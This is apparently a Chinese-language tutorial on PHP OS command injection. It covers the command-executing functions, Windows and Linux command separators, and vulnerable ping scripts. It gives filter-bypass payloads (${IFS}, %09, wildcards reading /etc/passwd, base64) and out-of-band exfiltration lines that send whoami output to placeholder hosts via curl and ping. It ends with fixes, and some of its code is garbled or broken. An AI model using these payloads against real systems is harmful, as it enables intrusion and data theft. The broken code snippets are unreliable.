命令执行漏洞
- 原理 应用程序某些功能调用可以执行系统命令的函数 如果参数被用户控制 就有可能通过恶意连接符将命令拼接到正常函数中从而随意执行系统命令
php常见命令执行函数和运算符
system函数
用于执行外部程序并显示输出
string system ( string $command [,int $return_var ])
//index.php
<?php system('whoami');?>
执行后输出root
exec函数
用于执行一个外部程序
string exec(string $command[,array &$output[,ubt &$return_var]])
//index.php
<?php echo exec('whoami');?>
执行时加上echo
才会输出whoami
的结果root
shell_exec函数
通过shell环境执行命令 且将完整的输出以字符串方式返回
string shell_exec(string $cmd)
//index.php
<?php echo shell_exec('whoami');?>
执行时加上echo
才会输出whoami
的结果root
passthu函数
用于执行外部程序并显示原始输出
void passthru(string $command[,int &$return_var])
//index.php
<?php passtru('whoami');?>
执行后默认输出root
popen函数
打开进程文件指针
resource popen (string $command,string $mode)
//index.php
<?php popen("touch test.txt","r")?>
执行该代码后会在当前文件夹下创建test.txt文件
proc_poen函数
用于打开进程文件指针
resource proc_popen (string $cmd,string $descriptorspec,array&$pipes[, string $cwd[,array $other_potions]])
//index.php
<?php
$proc=proc_poen("whoami",
array(
array("pipe","r"),
array("pipe","w"),
array("pipe","w")
),
$pipes);
print stream_get_contents($pipes[1]);
?>
执行后输出结果root
反单引号
返单引号是php执行运算符 php将尝试将反单引号中的内容作为shell命令来执行 并将输出信息返回
//index.php
<?php echo `whoami`;?>
执行后输出`root`
Windows下的命令执行漏洞
命令连接符
&命令连接符
&前语句为假 则执行&之后的语句
&前语句为真 则都执行
&&命令连接符
&&前语句为假则直接报错后边不执行
&&前语句为真则前后都执行
|命令连接符
|前语句为假则直接报错 后边不执行
|前语句为真则执行|后的语句
||命令连接符
||前语句为假 则执行||后的语句
||前语句为真 则只执行||前的语句 不执行||后的语句
利用
例
<?php
$ip=$_GET['ip'];
system("ping ".$ip);
?>
正常输入?ip=127.0.0.1
会返回ping的结果
输入ip=127.0.0.1|whoami
会返回当前用户的信息 当然也可以只信你个 net user
等其他关于用户账户管理的敏感操作
Linux下的命令执行漏洞
命令连接符
;命令连接符
分号;
使多个命令顺序执行 前后都会执行
如在Linux下执行id;id
,前后两个id命令都会执行 输出当前用户信息
&命令连接符
&作用是使得命令在后他运行 这样就可以同时执行多条命令
如 执行id&whoami 前后的命令都执行 输出用户信息
&&命令连接符
作用是 如果前面命令执行成功 则执行后边的命令
|命令连接符
将前边的命令输出作为后便命令的输入 前后都会执行 但只显示后边命令的执行结果
||命令连接符
如果前边命令执行成功 后边不会执行 前边命令执行失败 则后边执行
利用
例
<?php
$ip=$_GET['ip'] ;
system("ping -c 3".$ip);
?>
代码调用system
函数 输?ip=127.0.0.1;id
成功执行 返回用户信息 当然也可执行其他linux命令
命令执行绕过
绕过空格过滤
${IFS}绕过
${IFS}是shell的特殊环境变量是Linux下的内部俞分隔符 $IFS中存储的值可以是空格 制表符 换行符或者其他自定义符号
例
<?php
$ip=$_GET['ip'];
system("ping -c 3".ip)
?>
输入
http://xxx.xxx.xxx.xxx/exec/commandexec.php?ip=127.0.0.1;cat${IFS}commandexec.php
返回commandexec.php
的源码内容
$IFS$9绕过
用法和${IFS}
相似
制表符绕过
%09是制表符URL编码 可以通过%09代替空格绕过空格过滤
http://xxx.xxx.xxx.xxx/exec/commandexec.php?ip=127.0.0.1;cat%09commandexec.php
{}绕过
http://xxx.xxx.xxx.xxx/exec/commandexec.php?ip=127.0.0.1;{cat,commandexec.php}
<绕过
http://xxx.xxx.xxx.xxx/exec/commandexec.php?ip=127.0.0.1;cat<commandexec.php
绕过关键字过滤
变量拼接绕过
Linux支持变量赋值 可以通过拼接绕过过滤原则
http://xxx.xxx.xxx.xxx/exec/commandexec.php?ip=127.0.0.1;a=c;b=at;$a$b commandexec.php
空变量绕过
http://xxx.xxx.xxx.xxx/exec/commandexec.php?ip=127.0.0.1;ca${x}t commandexec.php
系统变量绕过
${SHELLOPTS}是系统变量 可以利用系统变量的字符拼接绕过过滤
\绕过
例如 通过c\a\t绕过cat命令过滤
通配符绕过
*
代表0到多个字符
?
代表一个任意字符
[]
内为字符范围 代表字符范围内任意一个字符
例
/etc/passwd
可以利用
/???/???sw?
绕过
shell反弹绕过
利用shell反弹进行攻击时如果存在过滤 可以通过通配符绕过过滤执行命令
base64编码绕过
例如 id的base64编码为aWQ= 再利用basa64 -d进行解码 就绕过了过滤
如
http://xxx.xxx.xxx.xxx/exec/commandexec.php?ip=127.0.0.1;`echo "aWQ="
base64 -d`
expr和awk绕过
通过expr和awk命令从其他文件中获取字符并进行命令构造
例如 fff文件的内容为字符串wdnmd.com通过以下命令
expr substr$(awk NR=1 fff)1 1
可以获取文件存储的第一个字符W
无回显的命令执行
如果存在命令执行 但没有回显 可以通过shell返弹的方式返弹到vps上 然后通过vps执行命令 如果无法返弹 也可以通过DNS管道解析获取执行结果
Linux下获取用户名
curl test.fff.com/`whoami`
ping -c 1 `whoami`.test.fff.com
Windows下
获取计算机名
for /F %x in ('whoami') do start http://xxx.com/%x
用户名
for /F "delims-\tokens=2" %i in ('whoami') do ping -n 1 % i.xxx.com
在网站上执行如下命令就可以获取用户名root
curl "http://xxx.com?/'whoami'
漏洞修复
1.禁用disable_functions
中的敏感函数
2.函数过滤
escapeshellarg函数
escapeshellarg函数把字符串转码为可以在shell命令里使用的参数,以
过滤命令中的参数
string escape shellarg (string $arg)
函数给字符串增加一个单引号,并且能引用或者转义任可已经存在的
单引号,这样可以直接将一个字符串传入shell函数并确保他是安全的
修复例
<?php
$ip=$_GET['ip'] ;
system("ping -c 3".escapeshellarg($ip));
?>
escapeshellcmd函数
可以对shell元字符进行转义 过滤命令
string escapeshellcmd(string $command)
对字符串中可能欺骗shell的恶意命令字符转义 函数保证用户输入的数据在传送到system函数或执行操作符之前被转义
函数会在字符间加入反斜线
<?php
$ip=$_GET['ip'] ;
system(escapeshellcmd("ping -c 3")"ping -c 3".$ip);
?>